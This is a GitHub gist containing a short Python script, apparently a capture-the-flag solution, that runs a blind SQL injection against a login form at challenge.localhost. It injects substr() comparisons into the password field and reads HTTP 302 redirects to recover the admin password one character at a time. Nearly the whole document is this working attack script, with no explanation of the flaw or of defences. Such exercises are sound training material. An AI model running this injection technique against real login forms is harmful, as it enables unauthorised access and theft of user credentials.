Skip to content

Instantly share code, notes, and snippets.

@morkev
Created October 22, 2024 21:34
Show Gist options
  • Select an option

  • Save morkev/4cf7c96c36cb80470554c854837d8d3e to your computer and use it in GitHub Desktop.

Select an option

Save morkev/4cf7c96c36cb80470554c854837d8d3e to your computer and use it in GitHub Desktop.
Assembles the pwn key one character at the time.
import requests
url = 'http://challenge.localhost/'
password = ''
position = 1
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@#$%^&*()-=+[]\\|;:\'",.<>/?`~ '
while True:
found_char = False
for char in characters:
injection = f'" or substr(password,{position},1)="{char}" -- '
data = {
'username': 'admin',
'password': injection
}
response = requests.post(url, data=data, allow_redirects=False)
if response.status_code == 302:
password += char
print(f"Found character {position}: {char}")
position += 1
found_char = True
break
if not found_char:
print("Password extraction complete.")
print(f"Flag: {password}")
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment